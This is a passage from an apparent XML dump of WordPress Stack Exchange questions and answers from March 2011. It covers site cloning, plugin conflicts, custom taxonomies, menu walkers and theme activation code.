post count is ' . $post_count .', comment count is ' . $count-&amp;gt;total . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-31T05:48:59.497" CommentCount="1" />
  <row Id="13591" PostTypeId="1" CreationDate="2011-03-31T05:51:35.393" Score="0" ViewCount="68" Body="&lt;p&gt;I wanted to clone one wordpress blog I own into another domain .. I simply downloaded the root folder with all the files from Site1 and uploaded to Site2.. and created a complete MySQL script of Site1 and executed in Site2 DB.. Everything in the user side is working fine but if I got to Site2/wp-admin, its automatically redirecting to Site1/wp-admin.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any info on where to change this admin URL settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Best Regards,&#xA;Ansar&lt;/p&gt;&#xA;" OwnerUserId="4337" LastActivityDate="2011-03-31T07:54:01.260" Title="Wordpress blog clone.. wp-admin issue" Tags="&lt;wp-admin&gt;&lt;urls&gt;&lt;clone-site&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="13592" PostTypeId="2" ParentId="13591" CreationDate="2011-03-31T06:32:49.630" Score="1" ViewCount="" Body="&lt;p&gt;Here's 1 way to fix this. Add below inside Site2 wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_SITEURL', 'http://Site2');&#xA;define('WP_HOME', 'http://Site2'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once logged in, go to Settings &gt; General and change WordPress address (URL), Site address (URL) to Site2. Then delete those 2 lines that you add inside wp-config.php.&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-31T06:32:49.630" CommentCount="1" />
  <row Id="13593" PostTypeId="1" CreationDate="2011-03-31T07:05:38.863" Score="0" ViewCount="112" Body="&lt;p&gt;I have a very simple site that I've modified a very small amount. After installing the Yoast SEO plugin I found that it broke the in post media attach/upload. I'm about 80% sure it's related to Jquery but I'm unable to find anything that refer's to it enqueuing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried forcing an enqueue from functions.php but it didn't help. Any assistance would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method() {&#xA;    wp_deregister_script( 'jquery' );&#xA;    wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js');&#xA;    wp_enqueue_script( 'jquery' );&#xA;}    &#xA;&#xA;&#xA;add_action('init', 'my_init_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-31T07:53:12.067" LastActivityDate="2011-03-31T18:56:06.127" Title="Yoast SEO breaking media upload" Tags="&lt;jquery&gt;&lt;wp-enqueue-script&gt;&lt;media-upload&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="13594" PostTypeId="1" AcceptedAnswerId="13598" CreationDate="2011-03-31T07:45:35.367" Score="0" ViewCount="167" Body="&lt;p&gt;Are there plugins or hooks to editing custom fields just from the posts listing in admin panel?&lt;/p&gt;&#xA;" OwnerUserId="1301" LastActivityDate="2011-03-31T08:19:34.023" Title="Adding custom Field To The Posts Listing" Tags="&lt;plugins&gt;&lt;custom-field&gt;&lt;plugin-recommendation&gt;&lt;hooks&gt;&lt;admin-menu&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13595" PostTypeId="2" ParentId="13591" CreationDate="2011-03-31T07:54:01.260" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Codex page - Changing The Site URL&lt;/a&gt; gives you a number of different ways of changing the URL of your site.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-31T07:54:01.260" />
  <row Id="13596" PostTypeId="1" CreationDate="2011-03-31T07:54:09.340" Score="0" ViewCount="101" Body="&lt;p&gt;I'm looking for a jquery slideshow plugin or code that can publish a pdf document in my website. I've used slidedeck lite before but it has less publishing options and limited interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone recommend a suitable plugin?&lt;/p&gt;&#xA;" OwnerUserId="4289" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-31T11:43:13.387" LastActivityDate="2011-03-31T11:43:13.387" Title="Can anyone recommend a jquery content slideshow plugin" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;jquery&gt;&lt;pdf&gt;&lt;slideshow&gt;" CommentCount="1" />
  <row Id="13597" PostTypeId="2" ParentId="13477" CreationDate="2011-03-31T08:14:06.917" Score="0" ViewCount="" Body="&lt;p&gt;Well, it turns out it is indeed possible : )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I eventually found most of the answer in this post: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5308/custom-post-types-taxonomies-and-permalinks&quot;&gt;Custom post types, taxonomies, and permalinks.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I got &lt;code&gt;single-paintings.php&lt;/code&gt; to paginate within selected taxonomy with this plugin: &lt;strong&gt;Ambrosite Next/Previous Post Link Plus&lt;/strong&gt; (which looks like it could be dropped into &lt;code&gt;functions.php&lt;/code&gt; if you wanted to do it without plugins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone!&lt;/p&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-03-31T08:14:06.917" />
  <row Id="13598" PostTypeId="2" ParentId="13594" CreationDate="2011-03-31T08:19:34.023" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way is to use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt;. This adds a custom field column to the &quot;Manage Posts&quot; page by default. &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-31T08:19:34.023" CommentCount="2" />
  <row Id="13599" PostTypeId="1" AcceptedAnswerId="13600" CreationDate="2011-03-31T08:34:18.363" Score="0" ViewCount="34" Body="&lt;p&gt;I'm using Wordpress 3.1. I need to forbid users to change their first, last and screen names in their profile, but admin must still have this possibility. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="4339" LastActivityDate="2011-03-31T08:52:48.797" Title="How to forbid users to change their first, last and screen names?" Tags="&lt;php&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13600" PostTypeId="2" ParentId="13599" CreationDate="2011-03-31T08:52:48.797" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11717/prevent-users-from-changing-their-email-address&quot;&gt;this question - Preventing users from changing their email address&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-31T08:52:48.797" CommentCount="3" />
  <row Id="13601" PostTypeId="1" CreationDate="2011-03-31T08:57:32.027" Score="1" ViewCount="165" Body="&lt;p&gt;Ok Let's say I have 2 Categories. If a user select category A, they have to fill in metabox A and similarly for category B, it's metabox B. So my question is, I want to do a validate check, whereby if the user has checked category A, then it is only metabox A that has been filled in, and the same applies for category B. I know JQuery is my best bet - but not too sure how to go about it or how to call the function when clicking the publish button. &lt;/p&gt;&#xA;" OwnerUserId="4340" LastActivityDate="2011-08-16T01:25:08.330" Title="validate a metabox based on the category that is selected" Tags="&lt;jquery&gt;&lt;metabox&gt;&lt;validation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="13602" PostTypeId="1" CreationDate="2011-03-31T09:09:21.983" Score="2" ViewCount="304" Body="&lt;p&gt;This is an ongoing request, trying to do maximize some code to display a list of Accomodation by Country, of a certain Type, and a specific Region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, a list of ALL accommodations in FRANCE, By Hotel Rating (1,2,3,4,5), and then by Region (Paris, Marseille etc...)&#xA;Listing will be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Hotel 1Star&lt;br&gt;&#xA;--Marseille&lt;br&gt;&#xA;---Hotel 1&lt;br&gt;&#xA;---Hotel 2&lt;br&gt;&#xA;--Paris&lt;br&gt;&#xA;---Hotel 1&lt;br&gt;&#xA;---Hotel 2  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Hotel 2Star&lt;br&gt;&#xA;etc.. etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Hotel entry is a custom post called Accomodation&#xA;I have 3 taxonomies, countries (ie France), accomodation-type (ie Hotel 1 star), region (ie Paris).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The listing of accommodations &quot;lives&quot; on a country page, so the value of the country is already know. (ie $termcountry-&gt;name)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is a below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $taxonomy2 = 'accomodation-type';&#xA;        $termsacc = get_terms(&quot;accomodation-type&quot;,array('orderby' =&amp;gt; 'slug', 'order' =&amp;gt; 'ASC'));&#xA;&#xA;        foreach ($termsacc as $termaccomodation) {&#xA;            $taxonomyregion = 'region';&#xA;            $termsreg = get_terms(&quot;region&quot;,array('orderby' =&amp;gt; 'slug', 'order' =&amp;gt; 'ASC'));&#xA;             foreach ($termsreg as $termregion) {&#xA;&#xA;             $query = array(&#xA;              'post_type' =&amp;gt; 'accomodation',&#xA;              'accomodation-type' =&amp;gt;$termaccomodation-&amp;gt;name,&#xA;              'country' =&amp;gt;$termcountry-&amp;gt;name, &#xA;              'orderby' =&amp;gt; 'title', &#xA;              'order' =&amp;gt; 'ASC',&#xA;              'posts_per_page' =&amp;gt; 48,                 &#xA;              'tax_query' =&amp;gt; array(&#xA;              array(&#xA;                    'taxonomy' =&amp;gt; $taxonomyregion,&#xA;                    'field' =&amp;gt; 'slug',&#xA;                    'terms' =&amp;gt; $termregion-&amp;gt;name,&#xA;                    'orderby' =&amp;gt; 'title', &#xA;                    'order' =&amp;gt; 'ASC',&#xA;                    )&#xA;                  )&#xA;&#xA;              );&#xA;&#xA;            query_posts($query);&#xA;&#xA;             $count = 1; //First we set the count to be zeo    &#xA;             if(have_posts() ) {  &#xA;             $termaccomodation-&amp;gt;slug = str_replace(&quot;%e2%80%98&quot;, &quot;&quot;, $termaccomodation-&amp;gt;slug);&#xA;             $termaccomodation-&amp;gt;slug = str_replace(&quot;%e2%80%99&quot;, &quot;&quot;, $termaccomodation-&amp;gt;slug);&#xA;&#xA;             if($termregion-&amp;gt;name==&quot;General&quot;){&#xA;              $regionname = &quot;&quot;;&#xA;             }else{&#xA;              $regionname = &quot; - &quot;.$termregion-&amp;gt;name;&#xA;             }&#xA;             $id = '';&#xA;             $new_id = ++ $id;&#xA;             ?&amp;gt; &#xA;             &amp;lt;a name=&quot;&amp;lt;?php echo   $new_id.&quot;-&quot;.$termaccomodation-&amp;gt;slug.&quot;-&quot;.$termregion-&amp;gt;slug;?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;             &amp;lt;div id=&quot;accitem&quot;&amp;gt;&#xA;                &amp;lt;?php echo &quot;&amp;lt;h3&amp;gt;&quot;.$termaccomodation-&amp;gt;name.&quot;&quot;.$regionname.&quot;&amp;lt;/h3&amp;gt;&quot;;?&amp;gt;&#xA;&#xA;             &amp;lt;?&#xA;             while (have_posts()) : the_post();&#xA;             $linkacc = get_custom_field(&quot;AccomodationLink&quot;);&#xA;             ?&amp;gt;&#xA;             I do my loop stuff and display the accom list.&#xA;             then close my loop&#xA;             &amp;lt;?php endwhile; wp_reset_query();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working, but REALLY SLOW... and I am pretty sure it's not the optimal/best way of doing it.&#xA;Could I pick your brains on this?&#xA;Help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;s&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2011-06-12T16:01:06.347" Title="Query Posts by taxonomy/Taxonomy Child Custom order" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13603" PostTypeId="1" AcceptedAnswerId="13605" CreationDate="2011-03-31T09:32:06.660" Score="0" ViewCount="237" Body="&lt;p&gt;Hay Guys , I'm currently making a plugin so that the administrator can manage &quot;Subscriptions&quot; to the website. I have made a custom post type and activated it within WordPress and only allowed the title field. This works perfectly on the backend, but now i need a way for front end users to add their email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would i implement this, i need to add data to the database, i could easily just write some PHP to manually add the data, but does WordPress have any calls so that i can save data to the database?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-03-31T10:02:39.077" Title="Allow front end users to add data to a custom post type" Tags="&lt;custom-post-types&gt;&lt;database&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13604" PostTypeId="1" AcceptedAnswerId="13984" CreationDate="2011-03-31T09:44:47.573" Score="1" ViewCount="372" Body="&lt;p&gt;I am currently using a custom walker to customize the output of &lt;code&gt;wp_nav_menu()&lt;/code&gt;, and I am trying to add additional information to the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want the output for each menu link to look like is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;boxPAGEID&quot; href=&quot;#&quot;&amp;gt;About Me Page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;PAGEID&lt;/code&gt; is the ID of the page I'm linking to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is because I am developing a theme that opens page content in lightboxes, which are triggered by the class in the  tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code of the custom walker in my &lt;code&gt;functions.php&lt;/code&gt; file (after the code I'll point to the area where I'm having trouble):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class description_walker extends Walker_Nav_Menu&#xA;{&#xA;&#xA;      function start_el(&amp;amp;$output, $item, $depth, $args)&#xA;      {&#xA;           global $wp_query;     &#xA;           $pageid = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;&#xA;           $indent = ( $depth ) ? str_repeat( &quot;\t&quot;, $depth ) : '';&#xA;&#xA;           $class_names = $value = '';&#xA;&#xA;           $classes = empty( $item-&amp;gt;classes ) ? array() : (array) $item-&amp;gt;classes;&#xA;&#xA;           $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );&#xA;           $class_names = ' class=&quot;'. esc_attr( $class_names ) . '&quot;';&#xA;&#xA;           $output .= $indent . '&amp;lt;li id=&quot;menu-item-'. $item-&amp;gt;ID . '&quot;' . $value . $class_names .'&amp;gt;';&#xA;&#xA;           $attributes  = ! empty( $item-&amp;gt;attr_title ) ? ' title=&quot;'  . esc_attr( $item-&amp;gt;attr_title ) .'&quot;' : '';&#xA;           $attributes .= ! empty( $item-&amp;gt;target )     ? ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;' : '';&#xA;           $attributes .= ! empty( $item-&amp;gt;xfn )        ? ' rel=&quot;'    . esc_attr( $item-&amp;gt;xfn        ) .'&quot;' : '';&#xA;           $attributes .= ! empty( $item-&amp;gt;url )        ? ' href=&quot;'   . '#' .'&quot;' : '';&#xA;&#xA;           $prepend = '&amp;lt;strong&amp;gt;';&#xA;           $append = '&amp;lt;/strong&amp;gt;';&#xA;           $description  = ! empty( $item-&amp;gt;description ) ? '&amp;lt;span&amp;gt;'.esc_attr( $item-&amp;gt;description ).'&amp;lt;/span&amp;gt;' : '';&#xA;&#xA;           if($depth != 0)&#xA;           {&#xA;                     $description = $append = $prepend = &quot;&quot;;&#xA;           }&#xA;&#xA;            $item_output = $args-&amp;gt;before;&#xA;            $item_output .= '&amp;lt;a'. $attributes . 'class=&quot;box' . $pageid . '&quot;' .'&amp;gt;';&#xA;            $item_output .= $args-&amp;gt;link_before .$prepend.apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID ).$append;&#xA;            $item_output .= $args-&amp;gt;link_after;&#xA;            $item_output .= '&amp;lt;/a&amp;gt;';&#xA;            $item_output .= $args-&amp;gt;after;&#xA;&#xA;            $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );&#xA;&#xA;            if ($item-&amp;gt;menu_order == 1) {&#xA;                $classes[] = 'first';&#xA;            }&#xA;&#xA;            }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Towards the end are a couple of lines that begin with &lt;code&gt;$item_output&lt;/code&gt;. The second line is where I'm trying to generate the page ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item_output .= '&amp;lt;a'. $attributes . 'class=&quot;box' . $pageid . '&quot;' .'&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$pageid&lt;/code&gt; is according to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;    &#xA;$pageid = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me a single, fixed ID for all the links generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, instead of &lt;code&gt;$pageid&lt;/code&gt; I tried using &lt;code&gt;$item-&amp;gt;ID&lt;/code&gt;, but that gave me the ID of the menu item instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4285" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T14:38:32.483" LastActivityDate="2011-04-05T14:38:32.483" Title="Get the ID of the page a menu item links to?" Tags="&lt;functions&gt;&lt;custom-menus&gt;&lt;page&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="13605" PostTypeId="2" ParentId="13603" CreationDate="2011-03-31T10:02:39.077" Score="1" ViewCount="" Body="&lt;p&gt;Rake a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post()&lt;/a&gt; which handles the insertion of new posts to the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and there are many example how to create posts from the front end &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10544/post-from-front-end-with-post-types-categories-and-taxonomies/10552#10552&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9155/post-from-front-end-only-by-logged-in-users-form-posts-as-posted-by-logged-in&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5979/fron-end-post-submission&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7453/meta-boxes-in-front-end-post-submission-form&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-31T10:02:39.077" CommentCount="1" />
  <row Id="13607" PostTypeId="2" ParentId="13601" CreationDate="2011-03-31T10:24:38.720" Score="0" ViewCount="" Body="&lt;p&gt;I have found this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/require-post-category/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/require-post-category/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which has provided a good foundation and am going to attempt to hack it and take it from there. &lt;/p&gt;&#xA;" OwnerUserId="4340" LastActivityDate="2011-03-31T10:24:38.720" CommentCount="2" />
  <row Id="13608" PostTypeId="1" AcceptedAnswerId="14183" CreationDate="2011-03-31T10:37:32.903" Score="3" ViewCount="337" Body="&lt;p&gt;We have a custom type &lt;code&gt;music&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/music/&#xA;/music/post-name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, we have a tag-like taxonomy &lt;code&gt;genres&lt;/code&gt;. Its urls are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/music-genres/genre-name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make urls like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/music/&#xA;/music/post-name/&#xA;/music/genres/&#xA;/music/genres/genre-name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/music-genres/&lt;/code&gt; should be replaced by &lt;code&gt;/music/genres/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally we should get url structure like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/post-type/taxonomy/term/&#xA;/post-type/postname/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="876" LastEditorUserId="876" LastEditorDisplayName="" LastEditDate="2011-04-03T18:00:29.940" LastActivityDate="2011-04-07T17:13:22.393" Title="Custom permalinks" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="4" />
  <row Id="13609" PostTypeId="2" ParentId="13601" CreationDate="2011-03-31T10:42:02.527" Score="0" ViewCount="" Body="&lt;p&gt;Every metabox has own ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can handle onchange event of category checkboxes. Hide everything on load and then show, when user set a category.&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2011-03-31T10:42:02.527" CommentCount="2" />
  <row Id="13611" PostTypeId="1" AcceptedAnswerId="19445" CreationDate="2011-03-31T11:50:50.303" Score="0" ViewCount="346" Body="&lt;p&gt;i have a stupid situation, where i somehow can't find a solution and would really need some help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... i'm working on a project, where i have in addition to Post and Pages two Custom post types: Photos and Events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a custom taxonomy named &quot;Tags&quot;. This taxonomy is applied to Post, Pages, Photos and Events... so basically you can give everything a Tag and you can chose everywhere from tags, that are being used elsewhere (example: if you give some tags in the Events, then you can later chose the same Tags in Photos).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Idear is to show everywhere related stuff. So if you are on a Event, you will see in the sidebar related news, photos, even page entries...and so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOW i want to display in the Photo - section only the tags, that were already used in the Custom post type Photos. Not all of them (there are some tags in Events, that have never been used in photos). So one could chose to see only photos base on a Tag...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any code yet... although i'm not a newbi in wordpress, a this point i don't even know where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can one display a list of tags, that are a custom taxonomy, limited by a custom post type?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion would be really nice!&lt;/p&gt;&#xA;" OwnerUserId="4344" LastActivityDate="2011-06-07T19:48:48.637" Title="display custom taxonomies limited to custom post type?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;tags&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="13612" PostTypeId="2" ParentId="13611" CreationDate="2011-03-31T12:29:17.350" Score="0" ViewCount="" Body="&lt;p&gt;Have you seen this: &lt;a href=&quot;http://wordpress.org/support/topic/passing-current-single_tag_title-as-variable-into-new-wp_query&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/passing-current-single_tag_title-as-variable-into-new-wp_query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it may help to get you started perhaps?&lt;/p&gt;&#xA;" OwnerUserId="4302" LastActivityDate="2011-03-31T12:29:17.350" CommentCount="1" />
  <row Id="13613" PostTypeId="2" ParentId="13593" CreationDate="2011-03-31T12:57:29.047" Score="-1" ViewCount="" Body="&lt;p&gt;Disable Yoast SEO and try with all in one seo... &lt;/p&gt;&#xA;" OwnerUserId="4346" LastActivityDate="2011-03-31T12:57:29.047" CommentCount="0" />
  <row Id="13614" PostTypeId="2" ParentId="13604" CreationDate="2011-03-31T13:05:42.333" Score="-1" ViewCount="" Body="&lt;p&gt;I could not look at your code deeply but for creating menu maybe you should use get_pages..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  $pages = get_pages(); &#xA;  foreach ($pages as $pagg) {&#xA;    $option = '&amp;lt;a class=&quot;box' . $pagg-&amp;gt;ID . '&quot; href=&quot;#&quot;&amp;gt;';&#xA;    $option .= $pagg-&amp;gt;post_title;&#xA;    $option .= '&amp;lt;/a&amp;gt;';&#xA;    echo $option;&#xA;  }&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4346" LastActivityDate="2011-03-31T13:05:42.333" CommentCount="1" />
  <row Id="13615" PostTypeId="1" AcceptedAnswerId="13617" CreationDate="2011-03-31T13:06:45.687" Score="0" ViewCount="84" Body="&lt;p&gt;I've got some code inside functions.php which is designed to execute only when the theme is first activated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() &amp;amp;&amp;amp; isset($_GET['activated'] ) &amp;amp;&amp;amp; $pagenow == 'themes.php' ) {&#xA;//this code only runs when the theme is first activated&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm pretty sure this code is not running if the theme is activated outside the normal activation process. For example, if a switch_theme() statement is called from a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, how might I alter my code above to execute on switch_theme()?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() &amp;amp;&amp;amp; isset($_GET['activated'] ) &amp;amp;&amp;amp; $pagenow == 'themes.php') OR (switch_theme_called() ) ) {&#xA;//this code only runs when the theme is first activated&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-31T13:35:07.793" Title="How can I run code in functions.php when switch_theme() is called?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="13616" PostTypeId="1" CreationDate="2011-03-31T13:24:04.353" Score="0" ViewCount="80" Body="&lt;p&gt;Most of the plugins I see also send the newsletter, which I don't need. I need a simple, customizable plugin that helps me get user e-mails, name, and other custom fields, and store it in the database. The plugin must also have an unsubscribe option, of course.&lt;/p&gt;&#xA;" OwnerUserId="3765" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T11:59:31.670" LastActivityDate="2011-04-05T11:59:31.670" Title="A plugin for newsletter registration (not sending, just gathering data)?" Tags="&lt;plugin-recommendation&gt;&lt;newsletter&gt;" AnswerCount="1" />
  <row Id="13617" PostTypeId="2" ParentId="13615" CreationDate="2011-03-31T13:35:07.793" Score="1" ViewCount="" Body="&lt;p&gt;Well, instead of using a $_GET parameter you could store a initiate state in your options-table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$initialized = get_option('mytheme_initialized');&#xA;if ( (false === $initialized) &amp;&amp; is_admin() &amp;&amp; ($pagenow == 'themes.php') ) {&#xA;//this code only runs when the theme is first activated&#xA;update_option('mytheme_initialized', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the &quot;register_activation&quot;-hook is only available for plugins -&gt; &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13602&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/13602&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-31T13:35:07.793" CommentCount="4" />
  <row Id="13618" PostTypeId="1" CreationDate="2011-03-31T13:40:14.577" Score="0" ViewCount="119" Body="&lt;p&gt;Is there any way to show private pages at the public website section when you logged in as admin? Today, they only shows in admin.&lt;/p&gt;&#xA;" OwnerUserId="3216" LastActivityDate="2011-03-31T16:06:12.387" Title="Show private pages in public when you logged in as admin?" Tags="&lt;admin&gt;&lt;pages&gt;&lt;private&gt;" AnswerCount="1" />
  <row Id="13619" PostTypeId="2" ParentId="13608" CreationDate="2011-03-31T13:46:17.317" Score="1" ViewCount="" Body="&lt;p&gt;Maybe you can find some information on this post:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5308/custom-post-types-taxonomies-and-permalinks&quot;&gt;Custom post types, taxonomies, and permalinks.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-31T13:46:17.317" CommentCount="1" />
